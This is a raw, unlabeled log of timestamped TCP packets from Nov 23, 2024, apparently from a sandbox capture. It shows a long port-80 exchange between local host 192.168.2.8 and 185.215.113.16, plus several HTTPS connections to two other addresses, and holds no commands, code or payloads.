Nov 23, 2024 21:15:31.425164938 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.425211906 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.425343990 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.425393105 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.426090002 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.426134109 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.426229000 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.426263094 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.427078009 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.427187920 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.427231073 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.428037882 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.428091049 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.428229094 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.428859949 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.429009914 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.429090977 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.429119110 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.429152012 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.429960966 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.430007935 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.430082083 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.430363894 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.430949926 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.431037903 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.431107998 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.431924105 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.432090998 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.432117939 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.432193995 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.432862997 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.432967901 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.432981968 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.433001995 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.433814049 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.433969975 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.434010029 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.434022903 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.434777021 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.434828043 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.434900045 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.435062885 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.435892105 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.435939074 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.435970068 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.436032057 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.436718941 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.436769962 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.436820984 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.437066078 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.437798023 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.437947035 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.437992096 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.438663960 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.438774109 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.438796043 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.438848019 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.439584970 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.439677954 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.439718008 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.440556049 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.440649033 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.440809011 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.440848112 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.441569090 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.441631079 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.441699028 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.442500114 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.442600965 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.442624092 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.442637920 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.443475962 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.443515062 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.443576097 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.443609953 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.444483042 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.444596052 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.444634914 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.445394039 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.445432901 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.445449114 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.445478916 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.446368933 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.446402073 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.446419954 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.446760893 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.447320938 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.447458982 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.447511911 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.448287010 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.448324919 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.448394060 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.449249029 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.449286938 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.449372053 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.449902058 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.450248957 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.450285912 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.450335979 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.450392962 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.451237917 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.451277971 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.451354027 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.451481104 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.452151060 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.452286005 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.452291012 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.453102112 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.453138113 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.453243971 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.453752995 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.454077959 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.454123020 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.454200983 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.454235077 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.455084085 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.455132008 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.455332041 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.455375910 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.456058979 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.456105947 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.456134081 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.456231117 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.456971884 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.457003117 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.457015038 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.457031012 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.457945108 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.457979918 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.458009958 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.458925962 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.458964109 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.459037066 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.459389925 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.459908009 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.459989071 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.460027933 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.608513117 CET	443	49730	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:31.609468937 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.609524965 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.609606028 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.609646082 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.609739065 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.609793901 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.609833956 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.610657930 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.610816002 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.610843897 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.610865116 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.611404896 CET	49730	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:31.611438036 CET	443	49730	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:31.611588955 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.611638069 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.611656904 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.611913919 CET	49730	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:31.611920118 CET	443	49730	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:31.611927986 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.612643957 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.612705946 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.612729073 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.612767935 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.613538980 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.613589048 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.613620043 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.613662958 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.614525080 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.614578009 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.614583969 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.614624977 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.617537022 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.617613077 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.617623091 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.617674112 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.618021965 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.618065119 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.618197918 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.618508101 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.618985891 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.618998051 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.619038105 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.619050980 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.619930983 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.619990110 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.620038986 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.620919943 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.621007919 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.621048927 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.621871948 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.621917009 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.621973038 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.622014046 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.622850895 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.622901917 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.622962952 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.623006105 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.623825073 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.623868942 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.623924971 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.624051094 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.624779940 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.624821901 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.624855042 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.625014067 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.625731945 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.625777006 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.625886917 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.625936031 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.626729965 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.626776934 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.626807928 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.626878977 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.627902985 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.627916098 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.627948999 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.627969980 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.628664970 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.628748894 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.628794909 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.629614115 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.629729033 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.629786015 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.630636930 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.630677938 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.630731106 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.630764961 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.631568909 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.631647110 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.631673098 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.631714106 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.632498980 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.632536888 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.632632971 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.632672071 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.633488894 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.633541107 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.633570910 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.633984089 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.634481907 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.634527922 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.634556055 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.634594917 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.635396957 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.635488033 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.635507107 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.635529995 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.635886908 CET	49736	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:31.635921955 CET	443	49736	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:31.636037111 CET	49736	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:31.636558056 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.636758089 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.636804104 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.637011051 CET	49736	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:31.637023926 CET	443	49736	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:31.637409925 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.637450933 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.637496948 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.638294935 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.638386965 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.638438940 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.639261007 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.639319897 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.639386892 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.639431000 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.640207052 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.640252113 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.640316010 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.640367985 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.641201019 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.641262054 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.641551018 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.641597986 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.642304897 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.642350912 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.642398119 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.642445087 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.643125057 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.643170118 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.643470049 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.643512964 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.644082069 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.644129992 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.644191980 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.644237041 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.645045042 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.645088911 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.645139933 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.645190954 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.646013021 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.646059036 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.646078110 CET	80	49728	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:31.646317005 CET	49728	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:31.650288105 CET	443	49729	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:31.650379896 CET	443	49729	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:31.650422096 CET	49729	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:31.662754059 CET	49729	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:31.662771940 CET	443	49729	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:31.774813890 CET	49719	80	192.168.2.8	185.215.113.206
Nov 23, 2024 21:15:31.850951910 CET	443	49731	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:31.851416111 CET	49731	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:31.851442099 CET	443	49731	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:31.853044987 CET	49731	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:31.853050947 CET	443	49731	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:31.861233950 CET	443	49732	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:31.861666918 CET	49732	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:31.861679077 CET	443	49732	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:31.862112045 CET	49732	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:31.862117052 CET	443	49732	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:31.904334068 CET	443	49733	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:31.904755116 CET	49733	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:31.904787064 CET	443	49733	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:31.905231953 CET	49733	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:31.905237913 CET	443	49733	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:31.951791048 CET	443	49734	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:31.955761909 CET	49734	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:31.955770969 CET	443	49734	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:31.956223965 CET	49734	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:31.956228971 CET	443	49734	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:32.048121929 CET	443	49730	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:32.048198938 CET	443	49730	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:32.048340082 CET	49730	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:32.072699070 CET	49730	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:32.072715998 CET	443	49730	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:32.072734118 CET	49730	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:32.072741032 CET	443	49730	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:32.079976082 CET	49737	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:32.080008030 CET	443	49737	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:32.080095053 CET	49737	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:32.080236912 CET	49737	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:32.080249071 CET	443	49737	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:32.295753956 CET	443	49731	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:32.295839071 CET	443	49731	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:32.295892000 CET	49731	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:32.296742916 CET	49731	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:32.296761990 CET	443	49731	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:32.310671091 CET	443	49732	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:32.310762882 CET	443	49732	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:32.313791037 CET	49732	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:32.353924990 CET	443	49733	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:32.354075909 CET	443	49733	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:32.354201078 CET	49733	443	192.168.2.8	13.107.246.63
